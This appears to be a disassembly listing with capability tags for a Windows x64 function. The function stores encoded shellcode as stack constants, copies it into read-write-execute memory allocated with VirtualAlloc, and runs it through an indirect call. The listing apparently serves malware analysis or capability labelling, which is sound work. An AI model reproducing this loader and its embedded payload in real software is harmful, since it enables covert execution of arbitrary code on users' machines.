Function at 0x1400013b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
jmp 0x1400013b0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov dword [rsp + 0x20], 0x52515350
mov dword [rsp + 0x24], 0x54555756
mov dword [rsp + 0x28], 0x51415041
mov dword [rsp + 0x2c], 0x53415241
mov dword [rsp + 0x30], 0x55415441
mov dword [rsp + 0x34], 0x57415641
mov dword [rsp + 0x38], 0xe5894855
mov dword [rsp + 0x3c], 0x3bec8348
mov dword [rsp + 0x40], 0x5dec8948
mov dword [rsp + 0x44], 0xe8b801eb
mov dword [rsp + 0x48], 0x143
mov dword [rsp + 0x4c], 0xe2c05257
mov dword [rsp + 0x50], 0x4e0f484e
mov dword [rsp + 0x54], 0xf3665ac9
mov dword [rsp + 0x58], 0x5fd2bd0f
mov dword [rsp + 0x5c], 0x1c8001eb
mov dword [rsp + 0x60], 0xd8f52b35
mov dword [rsp + 0x64], 0xa94c13db
mov dword [rsp + 0x68], 0x49800011
mov dword [rsp + 0x6c], 0xe80000
mov dword [rsp + 0x70], 0xf343045
mov dword [rsp + 0x74], 0xf340245
mov dword [rsp + 0x78], 0x4c54f6e2
mov dword [rsp + 0x7c], 0xe1e56620
mov dword [rbp - 0x80], 0x6969a9c1
mov dword [rbp - 0x7c], 0xd7866969
mov dword [rbp - 0x78], 0x1bf2a616
mov dword [rbp - 0x74], 0xf8d0e54d
mov dword [rbp - 0x70], 0x782a411d
mov dword [rbp - 0x6c], 0xc3a1ce98
mov dword [rbp - 0x68], 0xb6e483db
mov dword [rbp - 0x64], 0x51234806
mov dword [rbp - 0x60], 0xe344a5f1
mov dword [rbp - 0x5c], 0xd1d05f15
mov dword [rbp - 0x58], 0x9f1fae98
mov dword [rbp - 0x54], 0x1a66f7cb
mov dword [rbp - 0x50], 0xbcaecc0
mov dword [rbp - 0x4c], 0xb3f2f9c8
mov dword [rbp - 0x48], 0x82cfed30
mov dword [rbp - 0x44], 0xe0be6fce
mov dword [rbp - 0x40], 0x6ee5d94b
mov dword [rbp - 0x3c], 0x7a6e0cc
mov dword [rbp - 0x38], 0x44cc4cc7
mov dword [rbp - 0x34], 0xf2b44444
mov dword [rbp - 0x30], 0xdcbb3777
mov dword [rbp - 0x2c], 0x63231392
mov dword [rbp - 0x28], 0x320090e8
mov dword [rbp - 0x24], 0xe597939
mov dword [rbp - 0x20], 0xf650bfef
mov dword [rbp - 0x1c], 0xa1f43f40
mov dword [rbp - 0x18], 0x246ee6c2
mov dword [rbp - 0x14], 0xc1e04f99
mov dword [rbp - 0x10], 0x8f0fbe88
mov dword [rbp - 0xc], 0x4691e0a3
mov dword [rbp - 8], 0x2889084b
mov dword [rbp - 4], 0x323bced0
mov dword [rbp], 0xb2f6378
mov dword [rbp + 4], 0x4a65bcfb
mov dword [rbp + 8], 0xcb8f57bf
mov dword [rbp + 0xc], 0x93daf840
mov dword [rbp + 0x10], 0x1b5a3a12
mov dword [rbp + 0x14], 0xe6bc7488
mov dword [rbp + 0x18], 0xc6810d6d
mov dword [rbp + 0x1c], 0x23a0f727
mov dword [rbp + 0x20], 0x56571f17
mov dword [rbp + 0x24], 0xcedb504
mov dword [rbp + 0x28], 0x4319c4a8
mov dword [rbp + 0x2c], 0x8e4928f2
mov dword [rbp + 0x30], 0x5229652f
mov dword [rbp + 0x34], 0xf3591cbe
mov dword [rbp + 0x38], 0x63d28ccc
mov dword [rbp + 0x3c], 0xe986d0ba
mov dword [rbp + 0x40], 0x4243ecfb
mov dword [rbp + 0x44], 0xe5513c41
mov dword [rbp + 0x48], 0x5e5e5e5f
mov dword [rbp + 0x4c], 0x5e5e5e5e
mov dword [rbp + 0x50], 0xfa71045e
mov dword [rbp + 0x54], 0xf8fafafb
mov dword [rbp + 0x58], 0xbbc8ff45
mov dword [rbp + 0x5c], 0x5acb1ca
mov dword [rbp + 0x60], 0x77d5ac3e
mov ecx, 0x348
mov dword [rbp + 0x64], 0x7e269ca1
mov dword [rbp + 0x68], 0x686d0c93
mov dword [rbp + 0x6c], 0x2eea713d
mov dword [rbp + 0x70], 0x3434c2f6
mov dword [rbp + 0x74], 0x1b03383e
mov dword [rbp + 0x78], 0x4720156c
mov dword [rbp + 0x7c], 0x9631c90
mov dword [rbp + 0x80], 0xd66f2ee9
mov dword [rbp + 0x84], 0x15b6edf2
mov dword [rbp + 0x88], 0x7759c664
mov dword [rbp + 0x8c], 0x4c3550e2
mov dword [rbp + 0x90], 0x4824048b
mov dword [rbp + 0x94], 0x4808ec83
mov dword [rbp + 0x98], 0x41ff450f
mov dword [rbp + 0x9c], 0x5d137081
mov dword [rbp + 0xa0], 0xebbd1e83
mov dword [rbp + 0xa4], 0x8141ac01
mov dword [rbp + 0xa8], 0x1a111768
mov dword [rbp + 0xac], 0x48514afe
mov dword [rbp + 0xb0], 0xf65f9c1
mov dword [rbp + 0xb4], 0x4159f9ab
mov dword [rbp + 0xb8], 0xcd1b48c1
mov dword [rbp + 0xbc], 0x1f48c141
mov dword [rbp + 0xc0], 0xc350411b
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, 3
mov rbx, rax
mov rcx, rax
mov edx, edi
lea rax, [rsp + 0x20]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001720
movups xmm0, xmmword [rax]
mov edx, 0x1a4
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov dword [rcx + 0x20], eax
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400010d2
mov edx, 0x1a4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1400017c3
mov eax, 0xffffffff
jmp 0x14000184b
mov rcx, rsi
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x1400017c6
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbx + 0x20]
mov dword [rcx + 0x20], eax
lea rcx, str.___Executing_n
call fcn.1400010d2
call rsi
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400010d2
xor eax, eax
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret